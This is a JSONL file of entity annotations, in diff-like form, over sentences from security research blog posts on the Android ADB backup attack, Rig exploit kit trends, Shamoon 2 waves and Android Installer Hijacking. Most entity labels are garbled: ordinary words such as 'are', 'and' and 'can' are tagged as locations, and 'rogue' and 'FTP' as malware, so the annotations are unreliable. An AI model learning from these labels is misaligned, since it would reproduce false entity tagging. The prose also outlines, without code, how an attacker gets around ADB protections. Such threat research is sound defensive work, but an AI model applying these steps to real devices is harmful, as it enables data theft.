-{"id":7848,"text":"This means that all of those passwords and any other data Android developers assume are secure (unencrypted) are accessible if an attacker can access the backup system.","entities":[{"id":24318,"label":"location","start_offset":5,"end_offset":10},{"id":24319,"label":"location","start_offset":39,"end_offset":42},{"id":24321,"label":"location","start_offset":84,"end_offset":87},{"id":24322,"label":"location","start_offset":109,"end_offset":112},{"id":24323,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":7849,"text":" ADB backup is not simple to access, as there are multiple physical and technical barriers standing in the way of the attacker.","entities":[{"id":24324,"label":"location","start_offset":46,"end_offset":49},{"id":24325,"label":"location","start_offset":68,"end_offset":71},{"id":24326,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":7850,"text":" This is admittedly a lot of hurdles, but all of them can be bypassed under the right conditions, leaving the data in internal storage exposed.","entities":[{"id":24327,"label":"location","start_offset":22,"end_offset":25},{"id":24328,"label":"location","start_offset":49,"end_offset":53},{"id":24329,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":7851,"text":"Here’s how it might happen:  1. The first challenge is getting access to the device over USB.","entities":[{"id":24332,"label":"location","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":7852,"text":"The simplest way of doing this is by physically controlling the phone, either by borrowing or stealing it, but that isn’t the only way.","entities":[{"id":24333,"label":"location","start_offset":13,"end_offset":16},{"id":24334,"label":"location","start_offset":126,"end_offset":130},{"id":24335,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":7853,"text":"If an attacker has control over a PC, which the Android device is attached to (for charging or for other purposes), they don’t need to get physical access to the phone.","entities":[],"relations":[],"Comments":[]}
-{"id":7854,"text":"This could be accomplished through malware that infects the PC and waits for Android devices to be connected.","entities":[{"id":24337,"label":"location","start_offset":63,"end_offset":66},{"id":24338,"label":"location","start_offset":67,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":7855,"text":"Or through a rogue “charging station” which users plug their device into without thought.  2.","entities":[{"id":24339,"label":"malware","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":7856,"text":"Next, the device must support ADB backup, which was not introduced until Android 4.0 (Ice Cream Sandwich).","entities":[],"relations":[],"Comments":[]}
 {"id":7857,"text":"As of July 7, this includes 85.8% of active Android devices.","entities":[],"relations":[],"Comments":[]}
 {"id":7858,"text":"For these devices, ADB debugging must be enabled for backup to work.","entities":[],"relations":[],"Comments":[]}
-{"id":7859,"text":"This is generally disabled by default, but many enthusiasts enable it and PC-based tools often guide users to leave it enabled.","entities":[{"id":24345,"label":"location","start_offset":43,"end_offset":47},{"id":24346,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":7860,"text":"Some device vendors have even left it enabled by default when shipping their phones.","entities":[],"relations":[],"Comments":[]}
-{"id":7861,"text":"Additionally, for a small price an individual could purchase custom hardware that will enable the USB debugging.","entities":[{"id":24347,"label":"location","start_offset":20,"end_offset":25},{"id":24348,"label":"location","start_offset":26,"end_offset":31},{"id":24349,"label":"location","start_offset":52,"end_offset":60},{"id":24350,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":7862,"text":" 4. Screen lock prevents ADB backup, but many users do not use screen lock at all.","entities":[{"id":24352,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":7863,"text":"If they do, there are a few vulnerabilities in Android versions < 4.4.4, which would allow an attacker to get around this.","entities":[{"id":24353,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":7864,"text":"If the device is running Android 4.2.2 or above (approximately 54.3% of active devices) it uses ADB authentication.","entities":[],"relations":[],"Comments":[]}
-{"id":7865,"text":"This means when a PC attempts to enable ADB debugging, the phone presents a dialog to the user to authenticate the PC.","entities":[{"id":24355,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":7866,"text":"If the user has done this in the past and checked the “Always allow from this computer” for the system the attacker controls, they can bypass this protection.","entities":[{"id":24356,"label":"location","start_offset":38,"end_offset":41},{"id":24357,"label":"location","start_offset":131,"end_offset":134},{"id":24358,"label":"location","start_offset":147,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":7867,"text":"If this isn’t the case, they may be able to bypass this protection using a vulnerability in Android versions 4.4.2 and below.","entities":[{"id":24359,"label":"location","start_offset":18,"end_offset":22},{"id":24360,"label":"location","start_offset":29,"end_offset":32},{"id":24361,"label":"location","start_offset":56,"end_offset":66},{"id":24362,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":7868,"text":"Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press “Back up my data.”","entities":[],"relations":[],"Comments":[]}
-{"id":7869,"text":"If the attacker has physical access to the device, they can click this button, but if they don’t the “adb shell sendkey” function can simulate the necessary “click” to bypass this protection.","entities":[{"id":24363,"label":"location","start_offset":56,"end_offset":59},{"id":24364,"label":"location","start_offset":106,"end_offset":111},{"id":24365,"label":"location","start_offset":130,"end_offset":133},{"id":24366,"label":"location","start_offset":180,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":7870,"text":" Many of these protections have been deployed only in recent versions of Android, indicating that Google understands the risks presented by ADB.","entities":[{"id":24367,"label":"location","start_offset":1,"end_offset":5},{"id":24368,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":7871,"text":"Unfortunately, none of these protections is fool proof.","entities":[{"id":24370,"label":"location","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":7872,"text":"Successfully bypassing them means getting access to a lot of applications and their sensitive information.","entities":[{"id":24371,"label":"location","start_offset":23,"end_offset":27},{"id":24372,"label":"location","start_offset":28,"end_offset":33},{"id":24373,"label":"location","start_offset":54,"end_offset":57},{"id":24374,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":7873,"text":" The actual impact of the ADB backup attack depends on when data is actually stored in the device’s internal storage and whether or not it’s protected.","entities":[{"id":24375,"label":"location","start_offset":12,"end_offset":18},{"id":24376,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":7874,"text":"One way to protect this data is to disable the backup system for a specific application.","entities":[{"id":24378,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":7875,"text":"This is the easiest way for developers to prevent this attack against their data, but we’ve found very few make this choice.","entities":[{"id":24379,"label":"location","start_offset":20,"end_offset":23},{"id":24380,"label":"location","start_offset":117,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":7876,"text":"Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.","entities":[],"relations":[],"Comments":[]}
 {"id":7877,"text":"Another 156 implement a BackupAgent that restricts which data is subject to the backup.","entities":[],"relations":[],"Comments":[]}
 {"id":7878,"text":"The other 94.2% of applications place no restrictions on the backup of their internal storage data.","entities":[],"relations":[],"Comments":[]}
 {"id":7879,"text":" This includes (as discussed earlier) the default Android Mail and Browser applications, but also other e-mail, SSH and FTP applications, many of which store login and password details without any additional encryption.","entities":[{"id":24386,"label":"location","start_offset":63,"end_offset":66},{"id":24387,"label":"location","start_offset":116,"end_offset":119},{"id":24388,"label":"malware","start_offset":120,"end_offset":123},{"id":24389,"label":"location","start_offset":138,"end_offset":142},{"id":24390,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":7880,"text":" It’s clear from the data above that most application developers either are not aware of, or aren’t concerned by, the potential leakage of the data they store in internal storage.","entities":[{"id":24391,"label":"location","start_offset":6,"end_offset":11},{"id":24392,"label":"location","start_offset":37,"end_offset":41},{"id":24393,"label":"location","start_offset":72,"end_offset":75},{"id":24394,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":7881,"text":"Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.","entities":[],"relations":[],"Comments":[]}
-{"id":7882,"text":"Developers can also make this choice by changing property in their AndroidManifest.xml files.","entities":[{"id":24396,"label":"location","start_offset":11,"end_offset":14},{"id":24397,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":7883,"text":"Alternatively, developers can implement a BackupAgent that restricts the backup system from copying sensitive data in an unsafe way.","entities":[{"id":24398,"label":"location","start_offset":26,"end_offset":29},{"id":24399,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":7884,"text":" Users interested in defending their phones from this attack should take the following actions, while understanding that none is 100% effective:  ","entities":[{"id":24400,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":7885,"text":"The slides and demo code from Claud’s talk at HITCON are available now.","entities":[{"id":24402,"label":"location","start_offset":11,"end_offset":14},{"id":24405,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":7886,"text":"These include more detail than we could fit into this blog and show specifically how Claud bypassed the ADB protections on-stage today.  Palo Alto Networks first reported the issues described here to the Google security team in March of 2013 and provided them with the content of todays presentation in July 2014.","entities":[{"id":24406,"label":"location","start_offset":59,"end_offset":62},{"id":24411,"label":"location","start_offset":211,"end_offset":219},{"id":24413,"label":"location","start_offset":242,"end_offset":245},{"id":24414,"label":"location","start_offset":255,"end_offset":259},{"id":24415,"label":"location","start_offset":269,"end_offset":276}],"relations":[],"Comments":[]}
-{"id":7887,"text":"While we understand their position on Android internal storage and applaud their patching of vulnerabilities that allow access to the system, we hope that developers will take action to protect their users’ data from the risk of the ADB backup attack.","entities":[{"id":24418,"label":"location","start_offset":63,"end_offset":66},{"id":24419,"label":"location","start_offset":145,"end_offset":149},{"id":24420,"label":"location","start_offset":166,"end_offset":170},{"id":24421,"label":"location","start_offset":176,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":7888,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!","entities":[{"id":24422,"label":"location","start_offset":63,"end_offset":66},{"id":24423,"label":"location","start_offset":92,"end_offset":97},{"id":24424,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7889,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":24425,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":7890,"text":"What a difference a year makes in the threat environment.","entities":[],"relations":[],"Comments":[]}
-{"id":7891,"text":"In January 2017, Rig Exploit Kit (EK) was still in the middle of a strong run.","entities":[{"id":24429,"label":"location","start_offset":55,"end_offset":61},{"id":24430,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":7892,"text":"But when April 2017 came, Rig started a very marked decline.","entities":[],"relations":[],"Comments":[]}
-{"id":7893,"text":"You can see this in the chart below: Figure 1: Hits for Rig EK from January 2017 through January 2018  We first noted the trend in our June 2017 research blog “Decline in Rig Exploit Kit”.","entities":[{"id":24433,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":7894,"text":"And now in our most recent research blog “Rig EK one year later: From Ransomware to Coin Miners and Information Stealers” we can see the decline in April wasn’t an anomaly: it was the start of a precipitous decline that may mark the fall of Rig EK and exploit kits altogether as you can see.","entities":[{"id":24440,"label":"location","start_offset":0,"end_offset":3},{"id":24441,"label":"location","start_offset":15,"end_offset":19},{"id":24443,"label":"location","start_offset":125,"end_offset":128},{"id":24445,"label":"location","start_offset":184,"end_offset":189},{"id":24446,"label":"location","start_offset":220,"end_offset":223},{"id":24447,"label":"location","start_offset":224,"end_offset":228},{"id":24448,"label":"location","start_offset":241,"end_offset":244},{"id":24449,"label":"location","start_offset":248,"end_offset":251},{"id":24450,"label":"location","start_offset":283,"end_offset":286}],"relations":[],"Comments":[]}
-{"id":7895,"text":"As with the rise and fall of other threat trends, there are many likely reasons for this.","entities":[{"id":24451,"label":"location","start_offset":17,"end_offset":20},{"id":24452,"label":"location","start_offset":56,"end_offset":59},{"id":24453,"label":"location","start_offset":60,"end_offset":64},{"id":24454,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":7896,"text":"As Unit 42 researcher Brad Duncan noted in June 2017 and January 2018, likely reasons for the decline of Rig EK include a declining browser target base, lack of new exploits, efforts to fight domain shadowing, criminal arrests, and on-going work by vendors to harden browsers.","entities":[{"id":24458,"label":"location","start_offset":53,"end_offset":56},{"id":24460,"label":"location","start_offset":71,"end_offset":77},{"id":24461,"label":"location","start_offset":105,"end_offset":108},{"id":24462,"label":"location","start_offset":140,"end_offset":146},{"id":24463,"label":"location","start_offset":153,"end_offset":157},{"id":24464,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
-{"id":7897,"text":"But the decline and (hopeful) fall of Rig and other exploit kits isn’t the only story here.","entities":[{"id":24465,"label":"location","start_offset":16,"end_offset":19},{"id":24467,"label":"location","start_offset":42,"end_offset":45},{"id":24468,"label":"location","start_offset":75,"end_offset":79},{"id":24469,"label":"location","start_offset":80,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":7898,"text":"The sudden rise of coinmining in response to the surging value of cryptocurrencies comes into this story as well.","entities":[{"id":24470,"label":"location","start_offset":99,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":7899,"text":"This is because while Rig is down (and declining) it’s not totally out yet.","entities":[{"id":24471,"label":"location","start_offset":22,"end_offset":25},{"id":24472,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":7900,"text":"And we’re seeing what remains of Rig EK shift nearly wholesale from ransomware to information stealers and coinminers.","entities":[{"id":24473,"label":"location","start_offset":0,"end_offset":3},{"id":24474,"label":"location","start_offset":33,"end_offset":36},{"id":24475,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7901,"text":"The shift to information stealers isn’t new: in many ways this is “back to the future” for Rig and EKs generally: they were in use before the surge in ransomware starting in 2013 and distributed information stealers and banking trojans in those early days.","entities":[{"id":24476,"label":"location","start_offset":48,"end_offset":52},{"id":24477,"label":"location","start_offset":91,"end_offset":94},{"id":24478,"label":"location","start_offset":95,"end_offset":98},{"id":24481,"label":"location","start_offset":179,"end_offset":182},{"id":24482,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
-{"id":7902,"text":"But the adoption of coinmining is a new thing for Rig and EKs.","entities":[{"id":24485,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":7903,"text":"Given the trends we’ve seen generally with the sudden surge in coinmining tactics and techniques it’s not surprising.","entities":[{"id":24487,"label":"location","start_offset":0,"end_offset":5},{"id":24488,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":7904,"text":"As shown below, the volume of coinmining increase nearly 2,800% in a year.","entities":[],"relations":[],"Comments":[]}
-{"id":7905,"text":" Figure 2: Coin miner samples in January 2017 versus January 2018.","entities":[{"id":24492,"label":"location","start_offset":11,"end_offset":15},{"id":24493,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":7906,"text":" The criminals behind Rig and other EKs have always been focused on maximizing the financial return on their investment in using their wares.","entities":[{"id":24496,"label":"location","start_offset":22,"end_offset":25},{"id":24497,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":7907,"text":"And so, we can look at this shift away from ransomware back to information stealers and ahead to coinmining as a possible sign that the era of ransomware is passing at last.","entities":[{"id":24498,"label":"location","start_offset":0,"end_offset":3},{"id":24499,"label":"location","start_offset":11,"end_offset":14},{"id":24500,"label":"location","start_offset":84,"end_offset":87},{"id":24501,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":7908,"text":"We can’t say why this shift is happening.","entities":[],"relations":[],"Comments":[]}
 {"id":7909,"text":"It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry\/ WanaCrypt0r, and Petya\/NotPetya.","entities":[{"id":24502,"label":"location","start_offset":125,"end_offset":131},{"id":24503,"label":"location","start_offset":139,"end_offset":143},{"id":24504,"label":"malware","start_offset":157,"end_offset":168},{"id":24505,"label":"location","start_offset":170,"end_offset":173},{"id":24506,"label":"malware","start_offset":174,"end_offset":179},{"id":24507,"label":"malware","start_offset":180,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":7910,"text":"Or there could be a network effect at work and attackers are focusing on coinmining and away from ransomware because others are doing the same.","entities":[{"id":24508,"label":"location","start_offset":43,"end_offset":46},{"id":24509,"label":"location","start_offset":57,"end_offset":60},{"id":24510,"label":"location","start_offset":84,"end_offset":87},{"id":24511,"label":"location","start_offset":124,"end_offset":127},{"id":24512,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":7911,"text":"Whatever the reasons, though, the latest trends in a declining Rig EK give us a possible indicator of the overall future threat landscape.","entities":[{"id":24514,"label":"location","start_offset":70,"end_offset":74},{"id":24515,"label":"location","start_offset":106,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":7912,"text":"That ransomware is finally on its way out, and that coinmining is taking its mantle as the primary focus for cybercriminals, and thus the threat we should all give primary focus for our prevention efforts.","entities":[{"id":24516,"label":"location","start_offset":34,"end_offset":37},{"id":24517,"label":"location","start_offset":43,"end_offset":46},{"id":24518,"label":"location","start_offset":125,"end_offset":128},{"id":24519,"label":"location","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":7913,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":24520,"label":"location","start_offset":63,"end_offset":66},{"id":24521,"label":"location","start_offset":92,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":7914,"text":" Please mark, I'm not a robot!","entities":[{"id":24522,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7915,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":24523,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":7916,"text":"This post is also available in:      日本語 (Japanese)  As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.","entities":[{"id":24524,"label":"location","start_offset":5,"end_offset":9},{"id":24527,"label":"tools","start_offset":119,"end_offset":126},{"id":24530,"label":"malware","start_offset":220,"end_offset":227}],"relations":[],"Comments":[]}
 {"id":7917,"text":"Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.","entities":[{"id":24532,"label":"tools","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":7918,"text":"This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.","entities":[],"relations":[],"Comments":[]}
-{"id":7919,"text":" Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016.","entities":[{"id":24537,"label":"location","start_offset":85,"end_offset":89},{"id":24540,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":7920,"text":"The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.","entities":[{"id":24545,"label":"location","start_offset":57,"end_offset":60},{"id":24547,"label":"location","start_offset":86,"end_offset":91},{"id":24548,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":7921,"text":" This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.","entities":[{"id":24550,"label":"location","start_offset":65,"end_offset":68},{"id":24551,"label":"location","start_offset":90,"end_offset":93},{"id":24552,"label":"location","start_offset":110,"end_offset":115},{"id":24553,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":7922,"text":" Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:","entities":[{"id":24554,"label":"location","start_offset":20,"end_offset":23},{"id":24555,"label":"location","start_offset":55,"end_offset":58},{"id":24556,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":7923,"text":" In addition, organizations should review their backup strategies and disaster recovery\/business continuity plans.  Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.","entities":[{"id":24557,"label":"location","start_offset":66,"end_offset":69},{"id":24559,"label":"location","start_offset":184,"end_offset":187},{"id":24560,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":7924,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":24561,"label":"location","start_offset":62,"end_offset":65},{"id":24562,"label":"location","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7925,"text":" Please mark, I'm not a robot!","entities":[{"id":24563,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7926,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":24564,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":7927,"text":"This post is also available in:      日本語 (Japanese)  We discovered a widespread vulnerability in Google’s Android OS we are calling “Android Installer Hijacking,” estimated to impact 49.5 percent of all current Android users.","entities":[{"id":24565,"label":"location","start_offset":5,"end_offset":9},{"id":24567,"label":"location","start_offset":120,"end_offset":123},{"id":24568,"label":"location","start_offset":176,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":7928,"text":"In detail:  In January 2014, we uncovered a Time-of-Check to Time-of-Use (TOCTTOU) vulnerability in Android OS that permits an attacker to hijack the ordinary Android APK installation process.","entities":[{"id":24571,"label":"location","start_offset":44,"end_offset":48},{"id":24572,"label":"location","start_offset":52,"end_offset":57},{"id":24573,"label":"location","start_offset":61,"end_offset":65},{"id":24574,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":7929,"text":"This hijacking technique can be used to bypass the user view and distribute malware with arbitrary permissions.","entities":[{"id":24575,"label":"location","start_offset":25,"end_offset":28},{"id":24576,"label":"location","start_offset":56,"end_offset":60},{"id":24577,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":7930,"text":"It can substitute one application with another, for instance if a user tries to install a legitimate version of “Angry Birds” and ends up with a Flashlight app that’s running malware.","entities":[{"id":24578,"label":"location","start_offset":3,"end_offset":6},{"id":24579,"label":"location","start_offset":18,"end_offset":21},{"id":24581,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":7931,"text":"We are calling the technique that exploits this vulnerability Android Installer Hijacking.","entities":[{"id":24583,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":7932,"text":"We have been cooperating with Google and major manufacturers such as Samsung and Amazon to patch affected Android devices.","entities":[{"id":24585,"label":"location","start_offset":37,"end_offset":40},{"id":24586,"label":"location","start_offset":41,"end_offset":46},{"id":24588,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":7933,"text":"In order to understand how this works, let’s first take a look at how Android installs apps.","entities":[],"relations":[],"Comments":[]}
 {"id":7934,"text":"Android supports the ability to install apps from the Google Play store as well as from the local file system.","entities":[],"relations":[],"Comments":[]}
 {"id":7935,"text":"Google Play downloads Android packages (APKs) to a protected space of the file system.","entities":[],"relations":[],"Comments":[]}
-{"id":7936,"text":" Third party app stores and mobile advertisement libraries usually download APK files to unprotected local storage (e.g. \/sdcard\/) and install the APK files directly.","entities":[{"id":24593,"label":"location","start_offset":24,"end_offset":27},{"id":24594,"label":"location","start_offset":28,"end_offset":34},{"id":24595,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":7937,"text":"Both methods use a system application called PackageInstaller to complete the installation.","entities":[],"relations":[],"Comments":[]}
-{"id":7938,"text":"On affected platforms, we discovered that the PackageInstaller has a “Time of Check” to “Time of Use” vulnerability.","entities":[{"id":24596,"label":"location","start_offset":70,"end_offset":74},{"id":24597,"label":"location","start_offset":78,"end_offset":83},{"id":24598,"label":"location","start_offset":89,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":7939,"text":"In layman’s terms, that simply means that the APK file can be modified or replaced during installation without the user’s knowledge.","entities":[{"id":24599,"label":"location","start_offset":31,"end_offset":36},{"id":24600,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":7940,"text":"The Installer Hijacking vulnerability affects APK files downloaded to unprotected local storage only because the protected space of Play Store app cannot be accessed by other installed apps.","entities":[{"id":24601,"label":"location","start_offset":96,"end_offset":100},{"id":24602,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":7941,"text":"Let’s take a closer look at what happens.","entities":[],"relations":[],"Comments":[]}
-{"id":7942,"text":" On Android, there are many ways to trigger the app installation process, for example, when the user clicks a downloaded APK file, or when the user downloads an app from a third party app store app, or when the user clicks on an app promotion advertisement hosted by a mobile advertisement library.","entities":[{"id":24603,"label":"location","start_offset":19,"end_offset":22},{"id":24604,"label":"location","start_offset":23,"end_offset":27},{"id":24605,"label":"location","start_offset":269,"end_offset":275},{"id":24606,"label":"location","start_offset":290,"end_offset":297}],"relations":[],"Comments":[]}
-{"id":7943,"text":"No matter which way an APK installation process is triggered, it always follows the same procedure:  First, the system service PackageInstaller starts the installation process by parsing the APK file and retrieves critical information about the app, such as the app name, app icon and the security permissions that the app requests.","entities":[{"id":24607,"label":"location","start_offset":16,"end_offset":19},{"id":24608,"label":"location","start_offset":84,"end_offset":88},{"id":24610,"label":"location","start_offset":200,"end_offset":203},{"id":24611,"label":"location","start_offset":281,"end_offset":284},{"id":24612,"label":"location","start_offset":289,"end_offset":297}],"relations":[],"Comments":[]}
-{"id":7944,"text":"This is presented to the user in a PackageInstallerActivity view on the screen, as seen below Fig 1:  Fig 1.","entities":[{"id":24613,"label":"location","start_offset":60,"end_offset":64},{"id":24614,"label":"location","start_offset":94,"end_offset":97},{"id":24616,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":7945,"text":"User reviews the detail information of app to be installed (i.e. “Time to Check”)","entities":[{"id":24618,"label":"location","start_offset":66,"end_offset":70},{"id":24619,"label":"location","start_offset":74,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":7946,"text":" This is the “Time to Check”, because it verifies that the user really wants to install the app, and tells the user what permissions that they are authorizing the app to perform.","entities":[{"id":24620,"label":"location","start_offset":14,"end_offset":18},{"id":24621,"label":"location","start_offset":22,"end_offset":27},{"id":24622,"label":"location","start_offset":97,"end_offset":100},{"id":24623,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":7947,"text":"All Android apps perform this step, and the user clicks “Next” to view the full list of permissions, and then clicks “Install” to continue the installation process (as in Fig 1).  A vulnerability exists in this process because while the user is reviewing this information, the attacker can modify or replace the package in the background.","entities":[{"id":24624,"label":"location","start_offset":36,"end_offset":39},{"id":24625,"label":"location","start_offset":66,"end_offset":70},{"id":24626,"label":"location","start_offset":80,"end_offset":84},{"id":24627,"label":"location","start_offset":101,"end_offset":104},{"id":24628,"label":"location","start_offset":171,"end_offset":174},{"id":24630,"label":"location","start_offset":286,"end_offset":289}],"relations":[],"Comments":[]}
 {"id":7948,"text":"Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.","entities":[{"id":24631,"label":"attack-pattern","start_offset":25,"end_offset":31},{"id":24632,"label":"location","start_offset":146,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":7949,"text":" Thus, in the “Time of Use” (i.e., after clicking the “Install” button), the PackageInstaller can actually install a different app with an entirely different set of permissions.","entities":[{"id":24633,"label":"location","start_offset":15,"end_offset":19},{"id":24634,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":7950,"text":" This vulnerability can be exploited in multiple ways:  Method A: Externally modifying the APK  The attacker can use a benign-looking app to install malware in the future.","entities":[{"id":24635,"label":"location","start_offset":20,"end_offset":23},{"id":24636,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":7951,"text":"This method has several stages:","entities":[],"relations":[],"Comments":[]}
-{"id":7952,"text":" One tricky question with Method A would be how the App X detects that the PackageInstallerActivity view has been launched.","entities":[{"id":24637,"label":"location","start_offset":1,"end_offset":4},{"id":24638,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":7953,"text":"There are two approaches here:","entities":[{"id":24639,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":7954,"text":" Method B: Self modifying the APK  This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.  This vulnerability affects Android device users as well as Android app developers.  For Android device users, the users may end up with installing apps that are not the ones they agree to install.  Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. \/sdcard.","entities":[{"id":24641,"label":"location","start_offset":48,"end_offset":51},{"id":24642,"label":"location","start_offset":74,"end_offset":78},{"id":24643,"label":"threat-actor","start_offset":96,"end_offset":100},{"id":24644,"label":"location","start_offset":264,"end_offset":267},{"id":24645,"label":"location","start_offset":301,"end_offset":304},{"id":24646,"label":"location","start_offset":365,"end_offset":368},{"id":24647,"label":"location","start_offset":407,"end_offset":410},{"id":24648,"label":"location","start_offset":411,"end_offset":417},{"id":24649,"label":"location","start_offset":479,"end_offset":485},{"id":24650,"label":"location","start_offset":489,"end_offset":493}],"relations":[],"Comments":[]}
